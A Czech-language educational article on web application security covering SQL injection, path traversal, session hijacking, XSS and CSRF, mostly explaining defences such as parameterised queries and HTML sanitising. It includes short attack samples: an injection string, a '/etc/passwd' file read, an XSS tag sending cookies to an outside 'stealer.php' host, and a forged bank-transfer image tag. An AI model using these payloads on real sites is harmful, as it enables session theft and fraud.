V tomto článku si ukážeme některé časté bezpečnostní chyby webových aplikací a postupy jak jim předcházet. V dnešní době je stále více systémů tvořeno touto formou a také mnoho z nich více využívá AJAX (Asynchronous JavaScript and XML), SEO (Search Engine Optimisation) a REST (Representational state transfer).
Každý systém může být napaden na mnoha úrovních – od operačního systému serveru až po prohlížeč uživatele. My se zaměříme na problémy, které jsou způsobeny interakcí webové aplikace a prohlížeče. Jinými slovy, zaměříme se pouze na HTTP, HTML a JavaScript.
Předem budeme předpokládat, že operační systém serveru je dobře zabezpečený, nelze odchytit ani podvrhnout data při přenosu sítí (např. díky šifrování), a že má uživatel aktualizovaný operační systém včetně prohlížeče.
Připomeňme si nejprve některé základní prvky protokolů HTTP a HTML.
HTTP je bezestavový protokol, jehož základem je URL, které identifikuje dokument poskytnutý uživateli.
I přesto, že je HTTP bezstavové, existuje samozřejmě několik způsobů jak předávat stav
aplikace. Základem je již uvedené URL. Aplikace si zde může uložit údaje a
ty pak přenášet ze stránky na stránku (index.php;JSESSIONID=abc
).
Další možností je použití cookie. Jde o krátkou textovou informaci přijatou ze serveru v HTTP hlavičce požadavku.
Každá cookie je také vázaná na
doménu, ze které byla přijata. Při komunikaci se servery z této
domény je pak cookie posílána s každým požadavkem tam a zpět.
V HTTP také existuje několik "metod" komunikace. Základem je POST
a GET
. GET
se používá pro zjištění či přečtení
informací ze serveru. Požadavky metodou GET
by neměly modifikovat
stav na serveru. Díky této vlastnosti, mohou crawlery (internetové vyhledávače)
libovolně generovat požadavky s touto metodou (odkazem nebo i formulářem).
Naopak POST
se používá hlavně k modifikaci stavu a také
v případech, kdy chceme nahrát na server větší množství dat (např. nahrát soubor).
V následujících odstavcích se budeme věnovat konkrétním typům chyb.
První typ útoku využívá špatného ošetření vstupu od uživatele při sestavování dotazů a parametrů do jiných systému. Nejčastějším typem tohoto útoku je SQL Injection – špatná obsluha parametrů při tvorbě SQL dotazů.
Ukázka špatného použití (do proměnné param
ukládáme hledaný text):
String query = "select * from tabulka where field = '"+param+"'";
Pokud však uživatel do param
umístí hodnotu "' or 1=1 or field = '"
,
může tak přečíst všechna data v celé databázi. Případně díky subselectům či joinům přečíst i data z jiných tabulek.
Tento problém má naštěstí snadné řešení – nepředávát parametry pomocí jednoduchého skládání řetězců, ale pomocí pozicových (JDBC) nebo pojmenovaných (Hibernate, JPA) parametrů. Ty se postarají o správné obalení parametrů.
String query = "select * from tabulka where field = :p_field"; Query q = session.createQuery(query); q.setString("p_field", param);
Pokud budete striktně dodržovat tento přístup, lze snadno identifikovat problémy již při letmém pohledu na kód.
Tento typ problému se týká i dalších dotazovacích systémů jako je LDAP
či funkce typu eval
(spusť kód uložený v proměnné) v dynamických
jazycích.
V případech, kdy se pomocí parametru načítá nebo spouští soubor z disku a není správně kontrolován vstup, lze aplikaci přesvědčit k přečtení špatného souboru. Pokud aplikace vypadá takto:
readfile($_GET["file"]);
a uživatel zavolá URL
takto index.php?file=/etc/passwd
získá i obsah tohoto souboru. Nejjednodušší obranou je striktní kontrola parametru
dle seznamu povolených hodnot.
Protože je HTTP bezstatový protokol, ale všichni potřebují alespoň určitou formu stavu přenášet, používá se mechanizmus sezení (session). Uživateli je při prvním přístupu vytvořeno sezení a je přidělena jeho identifikace – pomocí cookie nebo pomocí předávání v URL.
Z tohoto důvodu lze sezení také zneužít. Stačí získat identifikátor sezení a můžu tak předstírat korektně přihlášeného uživatele. Proto je nutné identifikátory sezení generovat opravdu náhodně (s rovnoměrným rozložením) a ještě lépe kontrolovat i IP adresu uživatele.
Problém nastane v případech, kdy uživatel nechce zadávat jméno a heslo každých několik hodin, ale chce být přihlášen i několik týdnů (uživatelova adresa se pak bude i měnit).
Pokud používáte cookie, je nutné správně zajistit omezení cookie na doménu, kontrolu IP adresy a také dobu platnosti. Musíte také zajistit, aby na vašem serveru nebyl možný Cross Site Scripting útok (viz níže).
Pokud ukládáte identifikaci v URL, je nutné zajistit, aby se URL neobjevilo na žádném jiném serveru jako HTTP Referer (ze které stránky uživatel přišel). Musíte tedy provést několik kroků. Nejprve zabránit načítání obrázků z jiných nedůvěryhodných serverů. Při odkazování na jiný server musíte udělat přesměrování uživatele – tj. pomocí refresh v HTML stránce uživatele přesměrujete na novou stránku. Nelze totiž v tomto případě použít přesměrování v protokolu HTTP (302 Location), protože nedojde ke změněně refereru.
Ukázka útoku:<img src=javascript:document.location="http://www.mujweb.cz/stealer.php?cookie="+document.cookie;/>
Při zobrazování vstupů od uživatele je nutné zajistit, aby veškerý výstup nebyl do stránky zapsán přímo, ale jako text. Jinými slovy, musí dojít k nahrazení znaků za jejich entitní vyjádření < za <, > za > a & za &.
Nejlepším řešením je používat takové systémy, které při výpisu textu na obrazovku rovnou vše správně převedou na entitní vyjádření. Texty, které převést nechceme, pak musíme explicitně označovat. Pokud by tomu bylo naopak (označili bychom text, který se má převést), mohli bychom snadno přehlédnout nebezpečné místo a způsobit tak chybu typu XSS.
Problém ovšem nastane v případě, kdy chceme ve www stránce použít WYSIWYG editor. Tyto editory vytváří HTML kód, který je pak nahrán na server. Pak ovšem musíte velmi intenzivně otestovat vstup od uživatele. Zde proti nám hraje fakt, že HTML je velmi odolné vůči chybám v kódu (nevalidní kód), ale způsob jakým se prohlížeče zotavují z chyby, není ve standardu zcela definován, a proto různé prohlížeče řeší tento problémem odlišně. Naštěstí již dnes existují knihovny, které dokáží zkontrolovat a pročistit kód (odstranit nepovolené značky).
Celý proces kontroly lze tedy rozdělit na několik částí:
Pro opravu HTML kódu můžeme použít například knihovnu NekoHTML:
String text = "<strong>ahoj"; DOMFragmentParser parser = new DOMFragmentParser(); HTMLDocument htmlDocument = new HTMLDocumentImpl(); DocumentFragment fragment = htmlDocument.createDocumentFragment(); StringWriter sw = new StringWriter(); // zde je důležitá definice filtrů, které se mají na HTML aplikovat XMLDocumentFilter[] filters = { new Purifier(), new Writer(sw, "utf-8") }; parser.setProperty("http://cyberneko.org/html/properties/filters", filters); parser.setProperty("http://cyberneko.org/html/properties/names/elems", "lower"); InputSource is = new InputSource(new StringReader(text)); parser.parse(is, fragment); System.out.println(sw.toString());
Výsledkem tedy bude “<strong>ahoj</strong>.
Dále je nutné zkontrolovat povolené značky – zde můžeme použít knihovnu AntiSamy. Jedná se o snadno použitelnou knihovnu, která na základě konfiguračního souboru dokáže HTML kód zkontrolovat:
Policy policy = new Policy(POLICY_FILE_LOCATION); AntiSamy as = new AntiSamy(); CleanResults cr = as.scan(dirtyInput, policy); System.out.println(cr.getCleanHTML());
Konfigurační soubor umožňuje definovat povolené značky, atributy a použité kaskádové styly. Protože vytvořit tento soubor je poměrně náročné, existuje sada již existujících, které je možné použít. Jmenují se slashdot, ebay, myspace a snaží se chovat stejně jako filtry použité na stejnojmenných serverech. Můžete je použít přímo a nebo si je dále upravit pro svoje potřeby.
Poznámka: Pokud přemýšlíte nad názvem projektu AntiSamy, tak vězte, že Samy se jmenoval slavný XSS virus napadající MySpaces.
Pokud je stránka dobře zabezpečná proti XSS útokům, ještě stále nemáme vyhráno. Představte si případ, že uživatel navštíví stránku s tímto HTML kódem:
<img src="http://www.banka.cz/submitTranser/?account=1/1234&amount=1000000&confirm=1">
Pokud by bankovní systém očekával jen parametr confirm=1 pro
potvrzení operace, mohlo by následovat skutečné odeslání peněz.
Pokud by totiž uživatel byl právě přihlášen v bankovním systému
a má stále platné cookie, bude požadavek zpracován. Obranou není ani
vyžadování příjmu dat metodou POST
, protože i to lze pomocí JavaScriptu snadno provést.
Nejbezpečnější mechanizmus obrany proti CSRF je samotné operace potvrzovat i jiným způsobem – např. pomocí SMS. Pak nelze operace z prohlížeče nijak podvrhnout. Další možností je použití CAPTCHA, i když v poslední době lze strojově řešit i to.
Naštěstí bezpečnostní mechanismy v prohlížeči neumožní JavaScriptu přečíst obsah HTML stránky z jiného serveru (tj. provést XmlHTTPRequest na jinou doménu). A tohoto faktu také musíme využít.
Pro zabránění CSRF u ostatních systémů je tedy nutné používat tyto metody:
Aby všechny tyto mechanismy fungovaly, je nutné zajistit, aby nemohlo na celém serveru nikde nastat XSS. Jinak by útočník mohl kódy snadno přečíst a emulovat sekvence návštěv stránek. Proto by samotný systém (např. bankovní) měl být oddělen doménou (3. úroveň domény by měla být dostatečná) od dalších okrajových služeb (např. fórum či blog). Tím lze riziko XSS výrazně snížit.
Bohužel obrana proti CSRF jde částečně proti filozofii HTTP. Uživatel nemůže přímo přistoupit na webovou stránku ze záložek. Nelze tak např. přímo do e-mailu, který informuje o přidání příspěvku, uvést odkaz na smazání bez potvrzení.
Je velmi důležité zajistit, aby celá aplikace neměla bezpečnostní chyby. K nejhorším dnes patří XSS a CSRF útoky. Musíme proto upravit aplikaci, aby útoky nebyly možné. To ovšem není snadné a vyžaduje explicitní kontrolu celé aplikace. Pokud umožníte na stránce i byť jediné XSS, nelze se už nijak bránit proti CSRF.
Zároveň díky častému nasazení AJAXu, REST a technologií typu JSON jsme dali útočníkům velmi silnou zbraň do ruky a pokud umožníme XSS, již se nelze bez ověření jiným kanálem bránit (např. sms).
Bohužel obrana proti CSRF jde částečně proti filozofii HTTP. Uživatel nemůže přímo přistoupit na webovou stránku ze záložek.